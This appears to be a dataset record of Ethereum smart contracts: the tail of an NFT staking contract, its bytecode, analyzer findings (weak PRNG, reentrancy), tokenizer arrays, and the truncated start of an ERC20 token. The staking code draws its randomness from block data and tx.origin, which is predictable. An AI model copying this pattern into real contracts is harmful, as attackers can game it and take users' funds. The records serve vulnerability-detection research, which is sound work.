require(hammies.ownerOf(ids[i]) == msg.sender, "Not your Hammie"); require(staking, "Staking is paused"); statusById[ids[i]] = status; ownerById[ids[i]] = msg.sender; timeStaked[ids[i]] = block.timestamp; emit HammieStaked(msg.sender, ids[i], status); hammies.transferFrom(msg.sender, address(this), ids[i]); if (status == 1) totalAdventurersStaked++; else if (status == 2){ piratesStaked.push(ids[i]); } else if (status == 3){ salvagersStaked.push(ids[i]); } } } function unstakeManyHammies(uint256[] calldata ids) external { for(uint256 i = 0; i < ids.length; i++){ require(ownerById[ids[i]] == msg.sender, "Not your Hammie"); require(hammies.ownerOf(ids[i]) == address(this), "Hammie must be staked in order to claim"); require(staking, "Staking is paused"); require(block.timestamp - timeStaked[ids[i]]>= minStakeTime, "1 day stake lock"); _claim(msg.sender, ids[i]); if (statusById[ids[i]] == 1){ totalAdventurersStaked--; } else if (statusById[ids[i]] == 2){ for (uint256 j = 0; j < piratesStaked.length; j++){ if (piratesStaked[j] == ids[i]){ piratesStaked[j] = piratesStaked[piratesStaked.length-1]; piratesStaked.pop(); } } } else if (statusById[ids[i]] == 3){ for (uint256 j = 0; j < salvagersStaked.length; j++){ if (salvagersStaked[j] == ids[i]){ salvagersStaked[j] = salvagersStaked[salvagersStaked.length-1]; salvagersStaked.pop(); } } } emit HammieClaimed(address(this), ids[i]); hammies.safeTransferFrom(address(this), ownerById[ids[i]], ids[i]); statusById[ids[i]] = 0; } } function claimManyHammies(uint256[] calldata ids) external { for(uint256 i = 0; i < ids.length; i++){ require(ownerById[ids[i]] == msg.sender, "Not your hammie"); require(hammies.ownerOf(ids[i]) == address(this), "Hammie must be staked in order to claim"); require(staking, "Staking is paused"); _claim(msg.sender, ids[i]); emit HammieClaimed(address(this), ids[i]); } } function _claim(address owner, uint256 tokenId) internal { if (statusById[tokenId] == 1){ if(piratesStaked.length > 0){ fluff.mint(owner, getPendingFluff(tokenId).mul(adventurerShare).div(100)); distributeAmongstPirates(getPendingFluff(tokenId).mul(pirateShare).div(100)); } else { fluff.mint(owner, getPendingFluff(tokenId)); } } else if (statusById[tokenId] == 2){ uint256 roll = randomIntInRange(tokenId, 100); if(roll > chancePirateGetsLost || salvagersStaked.length == 0){ fluff.mint(owner, fluffStolen[tokenId]); fluffStolen[tokenId] = 0; } else{ getNewOwnerForPirate(roll, tokenId); } } timeStaked[tokenId] = block.timestamp; } //Passive earning of $Fluff, 100 $Fluff per day function getPendingFluff(uint256 id) internal view returns(uint256) { return (block.timestamp - timeStaked[id]) * 100 ether / 1 days; } //Distribute stolen $Fluff accross all staked pirates function distributeAmongstPirates(uint256 amount) internal { for(uint256 i = 0; i < piratesStaked.length; i++){ fluffStolen[piratesStaked[i]] += amount.div(piratesStaked.length); } } //Returns a pseudo-random integer between 0 - max function randomIntInRange(uint256 seed, uint256 max) internal view returns (uint256) { return uint256(keccak256(abi.encodePacked( tx.origin, blockhash(block.number - 1), block.timestamp, seed ))) % max; } //Return new owner of lost pirate from current salvagers function getNewOwnerForPirate(uint256 seed, uint256 tokenId) internal{ uint256 roll = randomIntInRange(seed, salvagersStaked.length); emit HammieStolen(ownerById[tokenId], ownerById[salvagersStaked[roll]], tokenId); ownerById[tokenId] = ownerById[salvagersStaked[roll]]; fluff.mint(ownerById[tokenId], fluffStolen[tokenId]); fluffStolen[tokenId] = 0; } function getTotalSalvagersStaked() public view returns (uint256) { return salvagersStaked.length; } function getTotalPiratesStaked() public view returns (uint256) { return piratesStaked.length; } //Set address for Hammies function setHammieAddress(address hammieAddr) external onlyOwner { hammies = Hammies(hammieAddr); } //Set address for $Fluff function setFluffAddress(address fluffAddr) external onlyOwner { fluff = Fluff(fluffAddr); } //Start/Stop staking function toggleStaking() public onlyOwner { staking = !staking; } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } }
0x608060405234801561001057600080fd5b50600436106101735760003560e01c80637c0bc781116100de578063b72a476c11610097578063dd4efd5e11610071578063dd4efd5e14610428578063eafad78614610458578063ed09199914610476578063f2fde38b1461049457610173565b8063b72a476c146103d2578063b7d32a7e146103f0578063d01634e61461040c57610173565b80637c0bc781146102ea5780638cd31eba1461031a5780638da5cb5b1461033857806397ca742514610356578063acd9a97a14610386578063acee66fa146103a257610173565b80633fce24be116101305780633fce24be1461023c5780634cf088d91461025857806357a39361146102765780636d04107f146102a6578063715018a6146102c2578063734cc73e146102cc57610173565b806303fff1a5146101785780630e2d2d6614610196578063150b7a02146101c65780631f7678ce146101f65780633b8105b3146102145780633cb7860a1461021e575b600080fd5b6101806104b0565b60405161018d9190612554565b60405180910390f35b6101b060048036038101906101ab919061219b565b6104bd565b6040516101bd9190612554565b60405180910390f35b6101e060048036038101906101db9190612066565b6104d5565b6040516101ed9190612459565b60405180910390f35b6101fe6104ea565b60405161020b9190612554565b60405180910390f35b61021c6104f0565b005b610226610598565b6040516102339190612554565b60405180910390f35b6102566004803603810190610251919061200c565b61059e565b005b61026061065e565b60405161026d919061243e565b60405180910390f35b610290600480360381019061028b919061219b565b610671565b60405161029d9190612554565b60405180910390f35b6102c060048036038101906102bb919061213b565b610695565b005b6102ca610acb565b005b6102d4610b53565b6040516102e19190612554565b60405180910390f35b61030460048036038101906102ff919061219b565b610b59565b6040516103119190612554565b60405180910390f35b610322610b7d565b60405161032f9190612554565b60405180910390f35b610340610b83565b60405161034d919061238c565b60405180910390f35b610370600480360381019061036b919061219b565b610bac565b60405161037d9190612554565b60405180910390f35b6103a0600480360381019061039b91906120ee565b610bc4565b005b6103bc60048036038101906103b7919061219b565b6112bd565b6040516103c99190612554565b60405180910390f35b6103da6112d5565b6040516103e79190612554565b60405180910390f35b61040a6004803603810190610405919061200c565b6112db565b005b610426600480360381019061042191906120ee565b61139b565b005b610442600480360381019061043d919061219b565b611670565b60405161044f919061238c565b60405180910390f35b6104606116a3565b60405161046d9190612554565b60405180910390f35b61047e6116b0565b60405161048b9190612554565b60405180910390f35b6104ae60048036038101906104a9919061200c565b6116b6565b005b6000600d80549050905090565b60046020528060005260406000206000915090505481565b600063150b7a0260e01b905095945050505050565b600e5481565b6104f86117ae565b73ffffffffffffffffffffffffffffffffffffffff16610516610b83565b73ffffffffffffffffffffffffffffffffffffffff161461056c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610563906124d4565b60405180910390fd5b600f60009054906101000a900460ff1615600f60006101000a81548160ff021916908315150217905550565b600b5481565b6105a66117ae565b73ffffffffffffffffffffffffffffffffffffffff166105c4610b83565b73ffffffffffffffffffffffffffffffffffffffff161461061a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610611906124d4565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f60009054906101000a900460ff1681565b600c818154811061068157600080fd5b906000526020600020016000915090505481565b60005b83839050811015610ac5573373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e86868581811061070b5761070a61287c565b5b905060200201356040518263ffffffff1660e01b815260040161072e9190612554565b60206040518083038186803b15801561074657600080fd5b505afa15801561075a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077e9190612039565b73ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906124f4565b60405180910390fd5b600f60009054906101000a900460ff16610823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081a90612534565b60405180910390fd5b816004600086868581811061083b5761083a61287c565b5b90506020020135815260200190815260200160002081905550336003600086868581811061086c5761086b61287c565b5b90506020020135815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555042600560008686858181106108d7576108d661287c565b5b905060200201358152602001908152602001600020819055507fd1870f0937c3ab4a35b1bf5546a26de2e59f3a57312387c505bacf5e0b84c7d7338585848181106109255761092461287c565b5b905060200201358460405161093c93929190612407565b60405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd33308787868181106109975761099661287c565b5b905060200201356040518463ffffffff1660e01b81526004016109bc939291906123a7565b600060405180830381600087803b1580156109d657600080fd5b505af11580156109ea573d6000803e3d6000fd5b505050506001821415610a145760086000815480929190610a0a9061273d565b9190505550610ab2565b6002821415610a6457600c848483818110610a3257610a3161287c565b5b905060200201359080600181540180825580915050600190039060005260206000200160009091909190915055610ab1565b6003821415610ab057600d848483818110610a8257610a8161287c565b5b9050602002013590806001815401808255809150506001900390600052602060002001600090919091909150555b5b5b8080610abd9061273d565b915050610698565b50505050565b610ad36117ae565b73ffffffffffffffffffffffffffffffffffffffff16610af1610b83565b73ffffffffffffffffffffffffffffffffffffffff1614610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906124d4565b60405180910390fd5b610b5160006117b6565b565b60085481565b600d8181548110610b6957600080fd5b906000526020600020016000915090505481565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60066020528060005260406000206000915090505481565b60005b828290508110156112b8573373ffffffffffffffffffffffffffffffffffffffff1660036000858585818110610c0057610bff61287c565b5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c83906124f4565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e858585818110610cf457610cf361287c565b5b905060200201356040518263ffffffff1660e01b8152600401610d179190612554565b60206040518083038186803b158015610d2f57600080fd5b505afa158015610d43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d679190612039565b73ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612514565b60405180910390fd5b600f60009054906101000a900460ff16610e0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0390612534565b60405180910390fd5b600e5460056000858585818110610e2657610e2561287c565b5b9050602002013581526020019081526020016000205442610e479190612661565b1015610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f906124b4565b60405180910390fd5b610eab33848484818110610e9f57610e9e61287c565b5b9050602002013561187a565b600160046000858585818110610ec457610ec361287c565b5b905060200201358152602001908152602001600020541415610efd5760086000815480929190610ef390612713565b919050555061112b565b600260046000858585818110610f1657610f1561287c565b5b9050602002013581526020019081526020016000205414156110155760005b600c8054905081101561100f57838383818110610f5557610f5461287c565b5b90506020020135600c8281548110610f7057610f6f61287c565b5b90600052602060002001541415610ffc57600c6001600c80549050610f959190612661565b81548110610fa657610fa561287c565b5b9060005260206000200154600c8281548110610fc557610fc461287c565b5b9060005260206000200181905550600c805480610fe557610fe461284d565b5b600190038181906000526020600020016000905590555b80806110079061273d565b915050610f35565b5061112a565b60036004600085858581811061102e5761102d61287c565b5b9050602002013581526020019081526020016000205414156111295760005b600d805490508110156111275783838381811061106d5761106c61287c565b5b90506020020135600d82815481106110885761108761287c565b5b9060005260206000200154141561111457600d6001600d805490506110ad9190612661565b815481106110be576110bd61287c565b5b9060005260206000200154600d82815481106110dd576110dc61287c565b5b9060005260206000200181905550600d8054806110fd576110fc61284d565b5b600190038181906000526020600020016000905590555b808061111f9061273d565b91505061104d565b505b5b5b7f0e652fb4f68db397855aa6666e889095f74013ca459e996fc5752cb5687a0c46308484848181106111605761115f61287c565b5b905060200201356040516111759291906123de565b60405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166342842e0e30600360008787878181106111d3576111d261287c565b5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686868681811061121c5761121b61287c565b5b905060200201356040518463ffffffff1660e01b8152600401611241939291906123a7565b600060405180830381600087803b15801561125b57600080fd5b505af115801561126f573d6000803e3d6000fd5b5050505060006004600085858581811061128c5761128b61287c565b5b9050602002013581526020019081526020016000208190555080806112b09061273d565b915050610bc7565b505050565b60056020528060005260406000206000915090505481565b60075481565b6112e36117ae565b73ffffffffffffffffffffffffffffffffffffffff16611301610b83565b73ffffffffffffffffffffffffffffffffffffffff1614611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e906124d4565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60005b8282905081101561166b573373ffffffffffffffffffffffffffffffffffffffff16600360008585858181106113d7576113d661287c565b5b90506020020135815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145a90612474565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e8585858181106114cb576114ca61287c565b5b905060200201356040518263ffffffff1660e01b81526004016114ee9190612554565b60206040518083038186803b15801561150657600080fd5b505afa15801561151a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061153e9190612039565b73ffffffffffffffffffffffffffffffffffffffff1614611594576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158b90612514565b60405180910390fd5b600f60009054906101000a900460ff166115e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115da90612534565b60405180910390fd5b611606338484848181106115fa576115f961287c565b5b9050602002013561187a565b7f0e652fb4f68db397855aa6666e889095f74013ca459e996fc5752cb5687a0c463084848481811061163b5761163a61287c565b5b905060200201356040516116509291906123de565b60405180910390a180806116639061273d565b91505061139e565b505050565b60036020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c80549050905090565b60095481565b6116be6117ae565b73ffffffffffffffffffffffffffffffffffffffff166116dc610b83565b73ffffffffffffffffffffffffffffffffffffffff1614611732576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611729906124d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179990612494565b60405180910390fd5b6117ab816117b6565b50565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600160046000838152602001908152602001600020541415611a3c576000600c80549050111561199f57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f198361191360646119056009546118f788611b6b565b611bb590919063ffffffff16565b611bcb90919063ffffffff16565b6040518363ffffffff1660e01b81526004016119309291906123de565b600060405180830381600087803b15801561194a57600080fd5b505af115801561195e573d6000803e3d6000fd5b5050505061199a6119956064611987600a5461197986611b6b565b611bb590919063ffffffff16565b611bcb90919063ffffffff16565b611be1565b611a37565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19836119e784611b6b565b6040518363ffffffff1660e01b8152600401611a049291906123de565b600060405180830381600087803b158015611a1e57600080fd5b505af1158015611a32573d6000803e3d6000fd5b505050505b611b4f565b600260046000838152602001908152602001600020541415611b4e576000611a65826064611c67565b9050600b54811180611a7c57506000600d80549050145b15611b4157600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f198460066000868152602001908152602001600020546040518363ffffffff1660e01b8152600401611af19291906123de565b600060405180830381600087803b158015611b0b57600080fd5b505af1158015611b1f573d6000803e3d6000fd5b5050505060006006600084815260200190815260200160002081905550611b4c565b611b4b8183611cb9565b5b505b5b4260056000838152602001908152602001600020819055505050565b60006201518068056bc75e2d63100000600560008581526020019081526020016000205442611b9a9190612661565b611ba49190612607565b611bae91906125d6565b9050919050565b60008183611bc39190612607565b905092915050565b60008183611bd991906125d6565b905092915050565b60005b600c80549050811015611c6357611c09600c8054905083611bcb90919063ffffffff16565b60066000600c8481548110611c2157611c2061287c565b5b906000526020600020015481526020019081526020016000206000828254611c499190612580565b925050819055508080611c5b9061273d565b915050611be4565b5050565b60008132600143611c789190612661565b404286604051602001611c8e949392919061233e565b6040516020818303038152906040528051906020012060001c611cb191906127be565b905092915050565b6000611cca83600d80549050611c67565b90507ffea7d4730e615c31dd37a7ee6b52691abdb37b6fb4da2a28648e579933cf67486003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660036000600d8581548110611d3957611d3861287c565b5b9060005260206000200154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684604051611d83939291906123a7565b60405180910390a160036000600d8381548110611da357611da261287c565b5b9060005260206000200154815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f196003600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660066000868152602001908152602001600020546040518363ffffffff1660e01b8152600401611ed19291906123de565b600060405180830381600087803b158015611eeb57600080fd5b505af1158015611eff573d6000803e3d6000fd5b5050505060006006600084815260200190815260200160002081905550505050565b600081359050611f3081612a3c565b92915050565b600081519050611f4581612a3c565b92915050565b60008083601f840112611f6157611f606128b0565b5b8235905067ffffffffffffffff811115611f7e57611f7d6128ab565b5b602083019150836020820283011115611f9a57611f996128b5565b5b9250929050565b60008083601f840112611fb757611fb66128b0565b5b8235905067ffffffffffffffff811115611fd457611fd36128ab565b5b602083019150836001820283011115611ff057611fef6128b5565b5b9250929050565b60008135905061200681612a53565b92915050565b600060208284031215612022576120216128bf565b5b600061203084828501611f21565b91505092915050565b60006020828403121561204f5761204e6128bf565b5b600061205d84828501611f36565b91505092915050565b600080600080600060808688031215612082576120816128bf565b5b600061209088828901611f21565b95505060206120a188828901611f21565b94505060406120b288828901611ff7565b935050606086013567ffffffffffffffff8111156120d3576120d26128ba565b5b6120df88828901611fa1565b92509250509295509295909350565b60008060208385031215612105576121046128bf565b5b600083013567ffffffffffffffff811115612123576121226128ba565b5b61212f85828601611f4b565b92509250509250929050565b600080600060408486031215612154576121536128bf565b5b600084013567ffffffffffffffff811115612172576121716128ba565b5b61217e86828701611f4b565b9350935050602061219186828701611ff7565b9150509250925092565b6000602082840312156121b1576121b06128bf565b5b60006121bf84828501611ff7565b91505092915050565b6121d181612695565b82525050565b6121e86121e382612695565b612786565b82525050565b6121f7816126a7565b82525050565b61220e612209826126b3565b612798565b82525050565b61221d816126bd565b82525050565b6000612230600f8361256f565b915061223b826128d1565b602082019050919050565b600061225360268361256f565b915061225e826128fa565b604082019050919050565b600061227660108361256f565b915061228182612949565b602082019050919050565b600061229960208361256f565b91506122a482612972565b602082019050919050565b60006122bc600f8361256f565b91506122c78261299b565b602082019050919050565b60006122df60278361256f565b91506122ea826129c4565b604082019050919050565b600061230260118361256f565b915061230d82612a13565b602082019050919050565b61232181612709565b82525050565b61233861233382612709565b6127b4565b82525050565b600061234a82876121d7565b60148201915061235a82866121fd565b60208201915061236a8285612327565b60208201915061237a8284612327565b60208201915081905095945050505050565b60006020820190506123a160008301846121c8565b92915050565b60006060820190506123bc60008301866121c8565b6123c960208301856121c8565b6123d66040830184612318565b949350505050565b60006040820190506123f360008301856121c8565b6124006020830184612318565b9392505050565b600060608201905061241c60008301866121c8565b6124296020830185612318565b6124366040830184612318565b949350505050565b600060208201905061245360008301846121ee565b92915050565b600060208201905061246e6000830184612214565b92915050565b6000602082019050818103600083015261248d81612223565b9050919050565b600060208201905081810360008301526124ad81612246565b9050919050565b600060208201905081810360008301526124cd81612269565b9050919050565b600060208201905081810360008301526124ed8161228c565b9050919050565b6000602082019050818103600083015261250d816122af565b9050919050565b6000602082019050818103600083015261252d816122d2565b9050919050565b6000602082019050818103600083015261254d816122f5565b9050919050565b60006020820190506125696000830184612318565b92915050565b600082825260208201905092915050565b600061258b82612709565b915061259683612709565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156125cb576125ca6127ef565b5b828201905092915050565b60006125e182612709565b91506125ec83612709565b9250826125fc576125fb61281e565b5b828204905092915050565b600061261282612709565b915061261d83612709565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612656576126556127ef565b5b828202905092915050565b600061266c82612709565b915061267783612709565b92508282101561268a576126896127ef565b5b828203905092915050565b60006126a0826126e9565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061271e82612709565b91506000821415612732576127316127ef565b5b600182039050919050565b600061274882612709565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561277b5761277a6127ef565b5b600182019050919050565b6000612791826127a2565b9050919050565b6000819050919050565b60006127ad826128c4565b9050919050565b6000819050919050565b60006127c982612709565b91506127d483612709565b9250826127e4576127e361281e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008160601b9050919050565b7f4e6f7420796f75722068616d6d69650000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f3120646179207374616b65206c6f636b00000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4e6f7420796f75722048616d6d69650000000000000000000000000000000000600082015250565b7f48616d6d6965206d757374206265207374616b656420696e206f72646572207460008201527f6f20636c61696d00000000000000000000000000000000000000000000000000602082015250565b7f5374616b696e6720697320706175736564000000000000000000000000000000600082015250565b612a4581612695565b8114612a5057600080fd5b50565b612a5c81612709565b8114612a6757600080fd5b5056fea2646970667358221220f0d8ca80809f3615857851c483b8b8a856aba4f5e4252a076b18c7d8b5a12bc364736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 23352, 2487, 2278, 2581, 2620, 2063, 2509, 4783, 2581, 2475, 3401, 2487, 2278, 2546, 2475, 27717, 14526, 2546, 26224, 2278, 18827, 2487, 2278, 2575, 21057, 24096, 2620, 2094, 2575, 2487, 1013, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1064, 1032, 1035, 1035, 1035, 1035, 1032, 1064, 1032, 1035, 1035, 1032, 1064, 1032, 1032, 1064, 1032, 1035, 1035, 1032, 1064, 1032, 1032, 1013, 1013, 1064, 1032, 1032, 1013, 1013, 1064, 1013, 1013, 1032, 1032, 1032, 1035, 1035, 1035, 1064, 1032, 1032, 1032, 1064, 1032, 1032, 1032, 1032, 1032, 1032, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,774
0x9752e4bba8b4e5a2ba1a93bd3ded961dfddc2e3e
/* MayBeSomething _.-**-._ _,( ),_ .-" '-^----' "-. .-' '-. .' '. .' __.--**'""""""'**--.__ '. /_.-*"'__.--**'""""""'**--.__'"*-._\ /_..-*"' .-*"*-. .-*"*-. '"*-.._\ : / ;: \ ; : : * !! * : ; \ '. .' '. .' / \ '-.-' '-.-' / .-*''. .'-. .-' '. .' '. : '-. _.._ .-' '._ ;"*-._ '-._ --___ ` _.-' _.*' '*. : '. `"*-.__.-*"` ( : ; ; *| '-. ; '---*' | ""--' : *| : '. | .' '.._ *| ____----.._-' \ """----_____------'-----""" / \ __..-------.._ ___..---._ / :'" '-..--'' "'; '""""""""""""""""' '"""""""""""""""' Find us on Tg */ pragma solidity 0.8.9; pragma experimental ABIEncoderV2; // SPDX-License-Identifier:MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } // Dex Factory contract interface interface IdexFacotry { function createPair(address tokenA, address tokenB) external returns (address pair); } // Dex Router02 contract interface interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract MaybeSomething is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; IDexRouter public dexRouter; address public dexPair; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public wallet1; bool public _antiwhale = true; constructor(address _wallet1) { _name = "MaybeSomething"; _symbol = "MBS"; _decimals = 18; _totalSupply = 1000000000000 * 1e18; wallet1 = _wallet1; _balances[owner()] = _totalSupply.mul(500).div(1e3); _balances[wallet1] = _totalSupply.mul(500).div(1e3); IDexRouter _dexRouter = IDexRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D // UniswapV2Router02 ); // Create a uniswap pair for this new token dexPair = IdexFacotry(_dexRouter.factory()).createPair( address(this), _dexRouter.WETH() ); // set the rest of the contract variables dexRouter = _dexRouter; emit Transfer(address(this), owner(), _totalSupply.mul(500).div(1e3)); emit Transfer(address(this), wallet1, _totalSupply.mul(500).div(1e3)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function AntiWhale(bool value) external onlyOwner { _antiwhale = value; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "WE: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, 